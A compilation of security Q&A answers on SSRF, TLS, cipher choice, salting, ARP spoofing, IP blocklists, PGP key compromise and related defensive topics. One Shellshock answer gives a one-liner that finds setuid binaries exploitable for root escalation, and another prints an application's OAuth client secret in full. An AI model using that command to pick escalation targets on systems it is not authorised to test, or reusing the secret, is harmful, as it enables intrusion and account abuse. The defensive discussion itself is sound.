Now, if you want to know how to reach a server listening only on loopback from outside the machine, the solution to that is to find some program on the same host as the target server that does listen to outside traffic, and will either relay requests to specified destinations (a proxy), or that can be used to create new web requests (this is a Server-Side Request Forgery (SSRF) attack, and one common way to create them is through an XML eXternal Entity (XXE) attack).


YES, and its an OWASP top 10 violation: OWASP A10 - Unvalidated Redirect.  These are valuable for phishing and spam.  Recently it was uncovered that spammers where exploiting Open Redirect vulnerabilities on US .gov websites for profit.


Ordering of shared Phase 1/ISAKMP VPN policies

There are secure options, and less-secure options. How you order the secure options is less important than that you avoid the poor choices.

For example, DES is pretty handily broken because the key length is insufficient. It should simply not be allowed. 3DES is slow but theoretically not broken (though some say that certain governments have optimized hardware for DES/3DES cracking). It's best to avoid if possible, but depending on what clients you allow, you may have no choice but to allow it.

MD5 is probably not a great solution either for crypto use because it is directly susceptible to attack, but again, depending on whom you're allowing to connect, you may not be able to avoid it. Chances are pretty good that if someone doesn't have access to AES and has to use 3DES, they won't have an implementation of SHA1 either, so perhaps MD5 and 3DES should be grouped together. It's also quite likely that such a person is actually calling from 1997 and perhaps you can make them some money by sending them some contemporary sports statistics. And perhaps you just want to drop 3DES and MD5 altogether, because really.

Decisions like 128, 192, or 256 are probably not particularly important; AES 128 is already 100% unbreakable accordingly to current understanding. AES-128 is faster, while AES-256 (theoretically) offers a wider safety margin. Bruce Schneier thinks that AES-128 has a better key schedule, so the security is likely a wash.
 So if you have a preference, prioritize accordingly.

And perhaps options such as lifetime may be important to your organization, or perhaps they are not. So In those cases you simply include all the options you will allow in whatever order you think is best-to-worst. The other party will do the same, excluding the options that their own policy does not allow. Together you'll agree on a combination incorporates the best allowable elements from each.


I can confirm that they use pbkdf2-hmac-sha1. You can read how to decrypt the codes here:

http://hashcat.net/forum/thread-2892-page-2.html

Turns out I'd misremembered my passcode after all!


How to restrict a X509 certificate to be used only for a web server

From GlobalSign: Code Signing FAQ:

  Where an SSL certificate for a website would contain an extended key usage of Server Authentication showing it can be used to identify a server, a code signing certificate has an extended key usage of Code Signing to indicate it may be used to sign code.

Thus for code signing you need an extended key usage of Code Signing while for a web server instead a key usage of Server Authentication. And for certificate signing the basic constraints would need to allow the certificate to be used as a CA. By creating certificates which differ in these settings and also have these settings marked as critical so that they are not ignored you can get the appropriate restrictions.


Computer's IP address used by another in closed network?

What you mention is referred to as IP conflict. Most probable reason is misconfigured static settings on the other computer, nothing to worry about. Or it could be a DoS as in the router won't know where to forward the packets. In our eduroam infrastructure we automatically block these situations. Consult your University's NOC (Network Operations Centre, i.e. your network administrator.)


Yes, it's possible to reverse engineer anything that is running inside a computer. It will always be loaded, at some point, into memory, at which point it will be unencrypted / decoded / unzipped / e.t.c., so the processor can handle such code.

In your case, a password that is hard-coded in a variable will eventually be used. And so it can be used, it will first be unencrypted...


Why can't Windows 98/IE5 connect to HTTPS sites in 2015?

The main problem is probably that an IE from that era would like to support SSL 2.0, and, therefore, sends its initial message (ClientHello) in SSL 2.0 format, which has about nothing in common with the ClientHello of later protocol versions (SSL 3.0 and all TLS versions). That allowed the browser to connect to a server that knew SSL 2.0 but nothing else, while the ClientHello still documents that the client is ready to use something more modern.

However, modern servers no longer support the SSL-2.0 ClientHello format. There has been a transitory period during which they still accepted that format (even though they would not allow the connection to actually use SSL 2.0), but now they dropped the support altogether. Notably, the SSL-2.0 ClientHello format has no room for extensions like SNI, which explains the urge to drop such support.

Other issues include the following:

IE 6.0 supports TLS 1.0 but it is deactivated by default. I don't know if IE 5 would have supported TLS 1.0, but in any case it would not have been enabled by default. However, many modern server reject SSL 3.0 as well (because of POODLE, as was noted by @etherealflux).
The client code will know nothing of AES, since it dates from before the standardization of that algorithm. It will try to use cipher suites based on RC2, 3DES, possibly RC4 (this would require some verification because RC4 was the property of IE's nemesis, Netscape, so possibly IE 5 would not use it). These algorithms are not a lot popular among server admins nowadays...
Modern sites use rather large cryptographic keys. Typically, RSA with keys of at least 2048 bits. An old Windows+IE might be more limited in the size of RSA keys that it can handle. In particular, a Windows+IE that would comply with the US export rules on cryptography of the pre-2000 era could be limited to a maximum size of 1024 bits for RSA keys. The same combination would also refuse to use 3DES or anything with a symmetric key larger than 56 bits, while no decent server of 2015 would accept anything less than 128 bits.

For Linux-based systems, there is no central SSL implementation (there is often an OpenSSL library, but not something as pervasive as Microsoft's SChannel and CryptoAPI). So every browser will have its own rules. Before 2000, this would have mean Nestcape Navigator (the one that segfaults when it sees anything in UTF-8...). Maybe some early KDE-based browser could do some SSL ? In that case, it would probably use OpenSSL and that should still be able to connect to some servers, with the right configuration (in particular if avoiding SSL-2.0 format for the ClientHello).


Does this count as unique salting against rainbow tables

You are probably better off increasing password length and strength rather than doing something with check and salt - salt is intended to be stored with the hashed password as a general principle.

What you've effectively done with the check is increase the password entropy by 2 digits while making it more difficult for you to use standard libraries.  If you are really just using 0-9, that's only 10^10 - even with salt, even with SHA512, that's breakable by someone who really wants to - especially if your users use predictable patterns, which they probably will.

Why limit password length and valid characters - it is going to be hashed anyways, no skin off your nose from a storage perspective.  With a better  character set, you can just use a straight up salt and sha512 hash and be secure.


Assuming you trust Silent Circle (and all their manufacturers and suppliers), then it could be considered secure as it comes in the box (Assuming the box is sealed, and hasn't been tampered with).

As soon as you add any third party software, you have to be sure that you trust the developers of it, and the distributors of it, to the same level. They are able to run software on the device, which might be able to do things which seem required, but actually allow for unintended data to be exfiltrated. For example, if applications can access the motion sensor, they may be able to work out any PIN entry made whilst they are running, even if not currently active. There have been a couple of research investigations into this.

If you don't trust the application to the same level, you are effectively reducing the trust in the whole device to the weakest part. This isn't specific to the Blackphone, but to any device where you introduce software which isn't trusted to the same level.

There isn't any reason to think that installing third party software will definitely compromise the device, just that you should be prepared to perform the same level of due diligence on any software as you are on the device itself.


What is best practice for separation of trusted zones from a DMZ with a single firewall?

From what I understand this is less of a security question and more of a network engineering question, though security engineering definitely has a place any network design.

First you're going to need to draw out what you are doing. Which you did in the time that I was writing this, haha. I've also attached the Visio that I threw together when I first read your question.

Next I have to ask about something. You said that the DMZ is "trunked to a layer 2 switch." Does that mean that you actually are trunking VLANs to the layer 2 switch? If so you may want to drop your VLANs at the firewall interface. Especially if you're not trying to accomplish a sandwich DMZ configuration. That DMZ switch seems like it should be untagged.

I don't think there is any need for an additional switch for your DMZ, unless you have size and configuration concerns. If it's a small scale network, as I envision, you should be set with the small DMZ on-a-stick configuration.

Many small business all-in-one type appliances have a very similar setup. I have seen many Checkpoint edge appliances used in this same exact configuration.

Granted that the more security/separation you can provide the better when it comes to security, but this setup is perfect for a small business or home setup.

Also, I just came across this article which has an extremely brief explanation of this same configuration here.


Program compiled with mingw32 is reported as infected

Your Anti-Virus (Defender or any other software) sees a virus signature in your safe file due to:

Your code is compiled by minGW. Many viruses are written in C and compiled in minGW to be small.
Thus, AV sees your file as a small executable written in C wich uses minGW  compiler call sequence. Thus, AV sees some of your code translated to compiler call sequence as a virus signature (in your case it is Trojan:Win32/Wacatac.C!ml and some others).

This is called false detect by AV-software.

What can you do in this case:

Try to find wich line of code in your executable creates this false-detect
Report to AV developers with this problem. They should fix it adding this call sequence as a safe signature to their virus database or make exclusion (depends on software)

: this is not a small problem, nor its a big problem. But its a problem wich can affect some students who write small C-programs.
: also i must add that sometimes this problem can only be partly solved due to the fact that AV-developers can add SHA256 (or other) of your exact file as an exclusion. Then you create another exe with minor changes and again you have to reach out to AV-developers. Thus, for these problem to be fully solved, you have to demand from AV-developers to conduct a research and create an working algorithm wich prevents false detect of a small minGW-compiled files.


Firewall Benchmark, Checklist, Guideline?

Here's a good one on filtering your egress traffic.

And here's a whitepaper put out by a firewall provider (they start the sales pitch on page 6, but the rest before it is solid advice).

This is Microsoft's take on the matter.

This is a document written by Kevin Beaver, an infosec professional.

Cover all the bases? :)


Lost my PGP private key when hard drive wiped. Possible to recover?

Since you are able to go through the files it sounds like you didn't low level wipe your drive and just need help identifing the secret key files among those your tools recovered. Your keyring will probably be in a directory called gnupg   wherever your windows install stored personal application data and take the form either of a file called secring.gpg or a directory called private-keys-v1.d containing .key files.

Once you have that you should be able to import it into a fresh install.


How does one defend against software supply chain attacks?

You can't avoid the risk, but you can mitigate it in several ways.

Reducing the attack surface. Instead of using lots of tools from lots of different vendors, only use a few ones that you really need. Uninstall anything that you don't need. Less software running on a machine means a lower risk of infection.

Separate environments, virtualization, other kinds of separation in general. If you keep some software separated from other important data, you can mitigate the impact of an infection. For example, if you run some software inside a virtual machine, a supply-chain infection of such software won't affect the external environment (unless it is combined with the exploitation of a severe bug in the VM). Using separate physical machines to run different software (maybe less trusted software) is another option. Other kinds of separation in general could be anything related to separation of privileges, or separation of networks, strict firewall rules, etc. Lots of these security controls could be considered to be part of what is often called defense in depth.

Detection. You might accept the risk of infection, as long as you are able to detect the infection as soon as possible. Intrusion detection systems and periodic audits will alert you if anything suspicious is going on, and you will be able to limit the damage.

Independent software analysis and review. Open source software can be inspected before compiling and installing it. If you don't have a team of programmers and security professionals though, reviewing all the new code in every new release is going to be impossible, so this kind of defense can only be attempted by large organizations. Note that this process takes time but on the other hand updates usually need to be installed as soon as possible, so you need a good patch management plan to find a balance.

Write your own critical software. This is usually done when you are too scared of relying on an untrusted party for something that is critical to your business. There might not be open source alternatives to what you need, so you might not want to trust a closed-source binary blob. Or you might be a government agency that can't trust software from another country. Whatever the reason, remember that writing your own application might require an enormous amount of resources, that often you'd better spend on the other points I mentioned (analysis, detection, patch management, security controls in general, etc.).


What devices support the permanent addition of an ARP table entry? What tools are available to manage this?

"Static" ARP entries is the more commonly used term than "Permanent"; you should know this if you're Googling and the like.

Static ARP entries do provide protection against ARP poisoning / spoofing.  However, someone in a position to perform ARP spoofing can also perform MAC spoofing to achieve close to the same effect, and overcome the obstacle that a static ARP entry presents.  This reduces the relative value of putting this protection into place.

Under both Windows and Unix, static arp entries are configured using the command line tool 'arp' which is often called from a script, as @chris points out.  You will not find an easy distributed management mechanism like, say, Group Policy to do it for you.  Unless you've already got a tool in place for centralized configuration (puppet, cfengine, BladeLogic) you're stuck with manual work, another reason this protection isn't as attractive as one might like.

In my opinion, static ARP entries are a low-level security step which has limited advantages, whose management is troublesome, and whose over-riding of the way a dynamic network works will turn around and bite you in the MAC at some point.  There are better places to spend your time and energy.


Does a File's Checksum Change after it is Digitally Signed?

There are many possibilities.

Some file formats, like PDF as described by Keith, and Authenticode for Microsoft Windows executables, put the signature in the file but arrange for it not to cover itself, and perhaps not some other non-critical data as well.

Some file or message formats, like XMLdsig and optionally S/MIME CMS/PKCS7 and PGP, put both the data and the signature in a larger file structure so that they can easily be separated, the signature verified, and the data (without the signature) used. Java codesigning uses Java's JAR format, which is a slightly modified ZIP file: each class (or other resource) is an entry in the JAR file, the digests of all classes are listed in the manifest which is also an entry in the JAR file, and the signature of the manifest plus related certificate(s) are stored in two additional entries in the JAR file.

Sometimes people just put the signature in a separate file that is linked to the data file; S/MIME CMS/PKCS7 and PGP 'detached' signatures do this. For example, a software download site might have one file named superwondergizmo-1.2.3.tar and its signature in a file named superwondergizmo-1.2.3.tar.sig (or sometimes ...asc for 'armored' aka ASCII PGP). On modern Windows with NTFS it could make sense to use a supplemental stream to store the signature, but I've never seen anyone do so; similarly for MacOS with the resource fork; but those wouldn't usually work for transfer, which is often important nowadays.


Rest API Security Guideline. Developer Rules?

Depending on your approach to delivering software, I believe the implementation of this can take different forms. I appreciate your question was looking for something concrete, and perhaps this is a little more opinionated but I have seen this done in a number of different ways on several projects. Here is some first off's for getting started:

First off, follow @A. Herseans suggestion and head to OWASP
cheatsheets.

Second do some Threat Profiling. Similar to user profiles (persona's) (your UX person will know about this) do some misuser profiles. Understand where the threat is likely to come from, i.e are you more likely to have a Nation State black ops hit you with a sophisticated attack, or is it more likely that Jo from accounts has just lost their job and is trying to download a load of personal user data to hurt the company on their way out the door? It matters so you know what level of technical ability you're likely to need to protect against.

Next, I always think Threat Modelling is useful to consider the types of attacks you're likely to face when given the context of your system. Head back to OWASP and check out the Threat Modelling Cheatsheet, or try Jim Gumbley & Fraser Scott's presentation on the subject, slides 15 to 20 can really point you in the right direction of thinking.

Last suggestion, but definitely not completing the list is to have regular conversations with your BA's. Get involved with stories before the development is started and consider the threats that could creep in early. Make sure dev's are aware of the threats when they pick up a story and make sure they're building it in from the start.

A good read that really considers all of the bit's outside of automated software testing is Agile Application Security. I'd definitely suggest checking it out.


Why Skype doesn't ask for password every time?

You didn't specify, so I'm going to assume you're running Windows. The advice here applies to all operating systems, but the specific details vary somewhat.

Skype, like a huge number of other apps, sites, and services, uses long-lived login sessions that are stored in your user account. Unless an attacker is able to either sit down in front of a logged-in session on your computer, or get you to run malicious software either within your user account or as an Administrator, those sessions are safe. Another user on the same computer would not have access to your sessions (unless they are themselves an Administrator, and possibly not even then depending on how the sessions are stored and whether you are ever both logged in at once); if they launched Skype it would either ask them for a password (if they hadn't used it on that computer account before), or resume their own session.

If you're worried about somebody else gaining access to those accounts, the first line of defense is preventing physical access to your computer by people you don't trust. Physical security is mostly out of scope for Security.SE, so I'll just mention that, if the computer is somewhat portable and you're worried it (or its hard disk) might get stolen, look into using full-volume encryption (such as Windows' BitLocker feature) so the thief wouldn't be able to retrieve any data.

The next (and often most important) line of defense is your user account on the computer. Make sure it has a strong password, and change that password if you expect somebody you don't trust may have seen it. Don't do something silly like put it on a sticky note in your office or use a really obvious password hint (or any hint at all). Make sure the computer is set to lock your session after some minutes of inactivity - 10 or so is generally fine - and when resuming from sleep, and lock it yourself when you get up to leave the room any there's a chance somebody else might take the chance to use it (the shortcut to lock your session is WinKey+L, or you can use Start or Ctrl+Alt+Del and select Lock). If your machine has Bluetooth, you can also pair your phone to the computer and configure the machine to lock automatically when your phone goes out of range (which is when you get roughly 30 feet away).

If you share the computer (with people who you do not fully trust), then the most important thing to do is make sure that everybody else uses a different user account than you do (they could each have their own, or could all use a single guest account, or somewhere in between). Make sure none of the less-than-fully-trusted people have an Administrator-level account (indeed, give them as little privileges as possible). In a situation like this, make especially sure to always lock the computer (or log out of your session) when switching users. (Windows' "switch user" feature automatically locks your session.)


Why don't researchers care about iOS malware?

I see Android malware being mentioned when reading peer reviewed papers about malware detection for smartphones, but iOS is never mentioned.

The problem here is that you are reading papers about malware  detection, which is next to impossible on non-jailbroken iPhones. All apps installed on iPhones are tightly sandboxed, so even if you install any security app on your iPhone, it can't scan any files that aren't its own (which, obviously, is pretty useless for finding the malware). So instead, the research is mostly focused on infection vectors (of which there is plenty).

Android isn't less secure. Its just that it grants you more freedom. For example you can sideload apps which haven't gone through the Play Store vetting process. So it's easier for the bad guys to target androids. Just write a malicious app and then find someone stupid enough to click through the warnings and sideload it onto their device. Androids also have a larger user base so its easier to find someone who can be tricked into installing your app.
On top of that, there are plenty of outdated android devices which are no longer supported by their vendors but are still in use. These devices don't receive security updates so they have known vulnerabilities and are therefore easy to infect.
When you combine this with the fact that it's easier to scan android devices for malware, it's obvious why more research has gone into android malware detection and analysis.


Could my boyfriend be hiding his encrypted emails inside of my inbox?

Hiding emails in your inbox would not be a smart move. Email accounts are free, so there's no need to use another account to store them.

Any email that is stored on your account should be visible to you. Even if those emails are stashed on another folder (not on inbox, for example). You can access all folders and see if there's something suspicious. If you find something suspicious and encrypted, you probably won't be able to decrypt without the key.

If you suspect anyone is using your email account, change the password immediately. This is an easy way to lock anyone out.

But I don't think your boyfriend would be using your account to hide emails from you. Does not make sense.


Regarding smartphones, are applocks with a 4 digits pin less secure than those with a 50 digit pin?

From a technical point of view 4 digit pins alone (I.e with no attempt restriction / timed lockout) offer no security at all. They can be brute forced in under a second on any vaguely modern device. Saying that in this case the difference is of more or less no benefit.

Security is about far more than key entropy. You should realise against a technical opponent every app locker I've seen for android or IOS offers zero security benefit. The underlying data is still just as accessible - it's basically just stopping you launching the shortcut.

What are you trying to defend against?

If you're hoping to stop a skilled opponent (law enforcement, determined criminal etc) from accessing certain applications I would suggest you look for a better strategy than an app locker.

If you're trying to stop your mum, child or friends from posting to your Facebook  when then have your phone for two minutes to view a photo I'd argue that they are unlikely to make it past an entirely random 4 digit number assuming no related technical skills and Googling "How to get around [name of app locker] doesn't yield anything useful.


Can I encrypt with GnuPG and decrypt with OpenSSL?

OpenSSL implements the X.509 standard, while GnuPG implements OpenPGP. While both use mostly the same cryptographic algorithms with lots of overlap, both protocols have their own file formats and minor differences, especially in the mode of operation for symmetric encryption.

Both OpenSSL and GnuPG are available for pretty much all operating systems, while GnuPG is only shipped by default with most Linux distributions, but OpenSSL is readily available for pretty much all unixoid operating systems.

If you insist on using GnuPG, also have a look at GnuPG's gpgsm component which is an implementation of X.509 compatible to OpenSSL (but cannot use OpenPGP keys because of the different formats, thus requires an X.509 key).


Does shellshock produce a comprehensive local privilege escalation vector?

Yes!

Binaries with a setuid bit and calling (directly or indirectly) bash through execve, popen or system are tools which may be used to activate the Shell Shock bug.

If these commands aren't taking care of clearing *env prior to run bash (or a shell script) then these binaries may be used to run any command (for example bash) with the privilege of root.

popen and system don't let the programmer the possibility to clean
*env.

Here is a first draft easy audit to estimate this risk:

find /  -perm +4000 \
    -exec /bin/zsh -c "ls -dluT {} ; nm -a {} | egrep '(popen|system|execve)' && strings {} | egrep '/bin/(sh|bash)'" \; 2>/dev/null

This isn't a proof of risk, since the *env might have been cleaned before the fork of the shell. The only way to be sure is to read the source code.

And here is the result on an actual version of an highly used Unix:

-rwsr-xr-x  1 root  wheel  910848 Sep 29 16:31:18 2014 /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/MacOS/ARDAgent
             U _popen
/bin/bash

(Here the last time used is not a proof of an attack but of my own previous "draft audit".)


What's the best way to block all external proxy IP's which could be used for pivot points or as a DDOS Source?

A third-party DDOS protection service like cloudflare.com may be the best place to start for typical web traffic but these won't protect you from everything. None-the-less you've raised an important question and knowing how to protect your own servers by yourself is very important.

The following will give you instructions on how to block the proxy servers but I will also point out that getting the initial list of IP's to block, or allow, can be a bit tricky.

Effectively you want to know how to implement blacklists so you can block all of the attacking IP addresses an organization may be concerned about or see during an attack (in your case the IP list of the proxy servers). That said it's important to understand how blacklists really help you. Blacklists are a great way to slow-down or temporarily block attackers and can work great when triggered appropriately. Even a 30-minute blacklisting of IP's sending malicious traffic can really have a huge impact against any type of automated attack. There are tools like fail2ban (link below) which can easily help you automate your blacklisting based on malicious behavior. Likewise there are tools like ipset (link below) which can be used with iptables to create extremely large black-lists or white-lists than can easily block or allow tens of thousands of IP's with almost no impact on performance and block millions of IP's with only a slight performance on impact.

Effectively deploying ipset and iptables combined with the list of proxies is all you need.

The following are some tips I recommend for configuring your blacklists for long-term use:

Basically because every organization has different needs and different requirements each deployment may be a little bit different but as a general rule of thumb I group who I blacklist into three categories.

1.) IP's that will never have a need to connect to these systems

2.) IP's that are doing really targeted harmful stuff to these systems

3.) IP's that are scanning or doing something less harmful but are still annoying and may include a customers infected system.

and based on these groups (yours may be different especially given your immediate concern) I set a variety of different block times. In this example I use the following block times based on the groups above.

1.) Forever

2.) 24-168 hours

3.) 30-60 minutes with 30 minutes being the most common.

This said I would also take into context what activity you are blacklisting. If an organization has a public website but I see attacks brute-forcing secure-shell or a VPN server (something that is NOT meant to be accessible to the general public) I don't mind blocking that type activity for much longer on that port or protocol. Likewise if I see an IP address really hammering a site with tens of thousands of attacks or repeated activities for days that IP gets blocked for a longer time. From the article you linked to you may want to block things for at least 48 hours to start with and start creating your white-list of good IP's immediately.

There are always risks when blocking traffic for any period of time but I've seen that it's becoming more common to see very large organizations blocking for at least 30 minutes to disrupt the automated attacks and I highly recommend doing this anyway because it gets rid of a lot of the brute-force scanning that ultimately effects all sites.

Note: With the #2 group it is also wise to send an abuse e-mail to the bad actors ISP CC'ing the IP owner and/or domain owner. Frequently this helps resolve the problem after a few days and if not you can always promote that IP to group #1 if you have too.

Finally I would also recommend creating a white-list of your infrastructure and also of your key business partners or critical clients. Occasionally business partners do check the security of their supply chain and you may not want to auto-block these organizations if they decide to take a closer look at what you are doing.

I think it is very wise to actively blacklist bad actors especially since it's a very cost-effective defense but I wouldn't limit your blocking to a single type & time-frame if you can avoid it. That said if you do, 30-minutes seems to be the industry norm right now.

http://www.fail2ban.org/

http://ipset.netfilter.org/

http://ipverse.net/ipblocks/data/countries/

If nothing else this will allow you to get the "hooks" in place to block large numbers of IP's in the future so I'd recommend this no matter how you handle your issue in the short-term. Hope this helps.


Should I revoke & regenerate PGP private keys after computer is serviced by Apple Store?

TL;DR

Anytime an attacker has physical or logical access to private key material—even if encrypted at rest—one should certainly consider revoking the exposed keys. In your particular case, you should assume a compromise and act accordingly.

Why You Should Revoke Your Keys

Even had you not violated the principle of "thou shalt not reuse passwords," the fact is that a local attack or an attack on extracted/copied key material is not rate-limited. So, assuming Apple, Google, or the NSA really want to attempt to brute-force your encrypted key, they can do so much more effectively with access to your on-disk key.

Since it would be common sense to try any known passwords before embarking on a brute-force attack, you can (and should) assume that any knowledgeable attacker will do exactly that. Never assume your adversary is an idiot.

In your particular case, you gave the attacker both physical and logical access to your machine. It is both possible and likely that backups of data were made, so even if the technician isn't your direct adversary, you now have no assurances of who has access to your key at rest, or what computing resources may be brought to bear on it.

In short, you handed over your key with your key's passphrase metaphorically (and possibly literally, by the technician) taped to your monitor. You'll likely never know if you were compromised, but you should certainly assume that you could have been.

Why You Might Choose Not to Worry

While Apple (as a company) has plenty of computing and storage resources for backing up your secrets and mounting brute-force attacks on them, it seems unlikely to be in their direct interest. They sell products and services that consumers would like to believe are secure, so deliberately violating that security and trust would be a bad business decision.

Having said that, individual technicians might still be bad actors. However, this possibility is tempered by the fact that Apple techs are unlikely to be professional cryptographers or forensic specialists, and are generally busy people without the time to waste poking around on people's hard drives without a bit more of an incentive than you've identified in your post.

A more likely scenario is that Apple might get a National Security Letter asking them to turn over any data they may have. The NSA certainly has the training and the resources to comb through your files and apply common-sense forensics to avoid brute-forcing your password, but unless Apple is routinely handing over all customer data as part of some bulk collection activity (see above for why this is possible but unlikely), you probably don't need to lose a lot of sleep about this particular scenario.

Finally, threats are all about consequences. Assuming you aren't smuggling state secrets, or have your off-shore accounts and human-trafficking contact information encrypted with the potentially-compromised key, the logical question to ask is: Even if the key was compromised, so what?

If your damage potential is low enough, you could probably go around handing people your private key all day long without serious consequence. I'm not recommending you do so; it's just worth taking your actual risk profile into account to properly assess threats and the consequences of compromise.

Note to Apple Customers

Apple does this a lot, e.g. asking customers to unlock their drives as part of their diagnostic and repair processes. They claim they need access to the OS stored on the FileVault-protected partitions in order to run diagnostics. There may be a technical reason why they can't use a boot disk or network boot to spin up their diagnostics, but without more information I consider it suspect.

As a general rule of thumb, it's best to back up your drive and blow away the FileVault partition before going in for service, or letting them do it for you. While it doesn't make a lot of sense to distrust your hardware or OS vendor, neither should you hand anyone sensitive data on a platter. Just be aware that asking for FileVault passwords is S.O.P. at Apple repair centers, and plan accordingly.


NMAP discovery scan reporting host offline, pinging the same host gets ICMP responses

If you want to run a ping scan, make sure you are running as root.

From nmap archived docco:

  When you run an Nmap ping scan as root, the default is to use the ICMP
  and ACK methods. Non-root users will use the connect() method, which
  attempts to connect to a machine, waiting for a response, and tearing
  down the connection as soon as it has been established (similar to the
  SYN/ACK method for root users, but this one establishes a full TCP
  connection!)

So you need

sudo nmap -sn 192.168.1.237

Your ping will have the SUID bit set, so that it always runs as root no matter which user you execute it under. This is why it is possible for ping to detect the server, whereas nmap cannot.


Minimum set of TLS features for an embedded device

It's unclear whether you're only looking at the TLS client, or whether you're reviewing both client and server implementation. I'll assume both.

I recently completed a security review of WolfSSL (which comes with a recommendation by the way), and various proprietary TLS stuff, so this is fresh on my mind. Here is a thoroughly incomplete list of things I look for:

X.509 Stuff

Make sure the client is checking that the CN of the DN matches the domain of the URL it requested.
Use your judgement that cert validation makes sense in the closed-system context. You may need to make some lists of what the possible use-cases are, given the constrained environment, and make sure they're met. Also do some head-scratching that the absence of checks for the use-cases you're leaving out can't be abused.
Can certificates get revoked in this environment? If so, what mechanism? CRL? OCSP? There could be additional extensions you need to support here.

How does the client behave if it can't retrieve revocation data? Is that reasonable given the use-case?

Are there intermediate CAs, or are all certs issued directly by the pinned root?

Is root cert pinning / trust management being done in an intelligent way?
If intermediates, do those expect you to fetch data from the AIA extension? (if there are "public web CAs" involved, then this is almost certainly a Yes).
If intermediates, then you probably need to enforce basicConstraints for path length and cA to make sure jokers aren't issuing certs off an end-entity cert.

TLS Stuff

State machine: all the SMACK-TLS related vulns (SKIP, FREAK) are caused by the attacker abusing TLS engine's state machine, so make sure it's enforcing from each state, what the valid possible next states are. More scrutiny on the server, but relevant to both.
Cipher Suites: check client configuration, and check that server combines the client's preference order with its own in some intelligent way. (btw TLS 1.3 has some changes here, so if you need to support that, beware.)
The usual array of buffer size handling, pointer nullity, and memory-management checks. Bad things usually show up near the socket recv calls.

I could go on, but I may need to ask for compensation :P


Modifying the Ethernet/Wifi driver to get faster Network access?

To be clear, you are asking about a behavior referred to as a truncated exponential backoff:

https://en.wikipedia.org/wiki/Exponential_backoff
https://cloud.google.com/storage/docs/exponential-backoff

This general algorithm is not just used in networking: I've used it to backoff on HTTP requests to busy services.  I think there are a couple small misunderstandings on your part, one of which is simply:

What exactly do you expect to gain by rewriting a networking driver to not perform the standard backoff?

For TCP/IP protocols the backoff time is measured in tens and hundreds of microseconds.  Moreover, because it is only used in the event of collisions (aka high network traffic) it is probably not a constant source of network latency on, say, a home network (where your network driver is actually relevant).  If all you want to do is make your home network as fast as possible, then your best bet is to simply buy a high-end router and don't overtax it with too many devices.

From the standpoint of a malicious actor, I'm sure the same cost/benefit analysis prevails.  Sure, you possibly could rewrite your network driver to ignore the exponential backoff and try to be first in getting your packets through in the event of a collision but I strongly suspect that both the gains by doing so and the frequency in which those gains will be applicable are so small that no one would bother rewriting a driver for it.

The other problem I suspect you will encounter is that even doing this might not substantially help your cause.  In the event of a collision you and the colliding party probably aren't the only ones who can collide.  If you don't wait and send a new packet very quickly, that won't help you if you just collide with another host.  Sure, if you never wait you will probably get your requests in faster on average, but it isn't obvious to me that this will actually be a big help for you.  The whole point of this algorithm isn't to "make people wait their turn" but rather to moderate overall usage so that an oversubscribed network can get things done.  You are basically proposing to ignore the rules and just spam away on a busy network.  Yeah, that might get you through faster, but it might also just increase congestion to the point where no one can get anything through.


How to detect malware on an HDD from scratch

On a theoretical level you need to first compare the layout of the electronics of the device with the intended schematic (you probably don't have) or another known good version of exactly the same drive.
If it differs, find out what differs and what are the consequences? Are there any new "smart" parts like a micro-controller? What is it connected to?

Then you take a look at all the programmable electronics on there and dump the binary code in there. (using JTAG, SPI, whatever you need).

Then you compare this binary code with the known-good version (you probably don't have) or versions dumped from known-good versions of this drive.

You then exactly analyze the differences by disassembling the code and understanding what it does. Is it just a bugfix/update by the manufacturer or malicious code?

You can look at this blog for some nice potographs and a description how changing the drive firmware works.

If you determined that the hardware and firmware hasn't been tampered with, you can continue with the data on the drive.

Data on the drive isn't executed unless the UEFI/BIOS/... or operating system does so.

So first you need to check the bootloader on there. Does the drive contain a bootloader? if yes, see if it is a known good bootloader (e.g. WindowsBootloader, default grub, ...). If not, disassemble the code and analyze it.

If you are sure that the hardware, firmware and bootloader are not malicious, the only way to execute code would be your operating system.

Find out if your OS automatically loads and executes code from connected drives (it shouldn't) and if so, from where exactly. See if there is code in this locations on your drive. Analyze it.

If you came this far, there is no malicious code on the drive that is automatically executed. Of course, there still could be malicious code that doesn't run automatically.


I would not trust the application. The client secret bl4ufi89h-9MkFlypcI7R785 is embedded directly into the application. If you allow this application to be trusted by your Google account, then any permissions you give the app will be inherently granted to anyone who decides to maliciously make use of the client secret together with the client ID. Furthermore, the client secret leak breaks a layer of protection designed to ensure the legitimacy of the communicating server.

Click here to view the main source code file containing the client secret.


Setting up a OTP is probably not something you can easily and securely do. There are other options to solve your problem -

LUKS supports up to 8 simultaneous passphrases. You can fairly easily set one of these to something different,long, complex and obscure (or a key file) and put it in an offsite secure location.

Similarly, if you take a copy of the LUKS header (which has other benefits) you can set the header with a different initial key to the regular keys, and then restore that - this would alloe the key and header coy to be stored in different locations to make it harder to compromise. See https://www.lisenet.com/2013/luks-add-keys-backup-and-restore-volume-header/ on how to save the header and use multiple passphrases/keys


Non-upgradable usb device against badUSB

You maybe need to disassemble the device in order to figure out if the firmware can be upgraded. A cheap mouse or keyboard is usually "safe" more expensive aka more feature rich ones can be upgraded  sometimes.
For flash drives there are some open source versions like the nitrokey and others where you can flash your own firmware and afaik write protect it. Some other vendors like ironkey or datashur claim no one or only they themselves can flash new firmware.


Is a SSL client required to try multiple certificate chains?

I don't know if the client is actually required to check all possible chains but I know that at least OpenSSL by default does not check all possible chains.

In the past it followed the chain send by the server until the end (ignoring any self-signed at the end) and then checked if it finds a root certificate in the trust store to complete the chain. This caused various trouble with cross-certificates, see here for details.

Newer OpenSSL version (since 1.1.0) instead check at each step at the server provided chain if they have a locally trusted certificate which completes the chain it has so far.


I think the confusion lies in some incorrect text encoding.

With proper encoding the (contents) decodes to Russian:

юридические-консультаци

Which can be Google translated to the English:

legal-consulting

So it appears to be some form of SEO Spam. However, how it got to the end of the subject line of your friend's email is not clear, though I would hazard a guess that it was inserted by some malware.

You should inform your friend that they are potentially infected by malware.


Securely establish and verify PIN over network

that also prevents those in control of a server from brute-forcing
that PIN?

Essentially, no.  No matter how securely it is set, or how strong the hash format is, once the server operators have a 6-digit hashed value they can brute-force it reasonably quickly.  The short and predictable length of the PIN make it susceptible to brute-force attacks.  You don't mention if it's numeric or alpha-numeric, but either is trivially forcible at a length of 6.

Is PBKDF2 and key transfer via TLS 1.2 good enough a solution?

Those are good solutions for hashing and transferring the hash.  But the limited key space of the PIN will still leave it vulnerable to brute force, and if you can't trust those who control the server then you don't have a trustworthy solution.


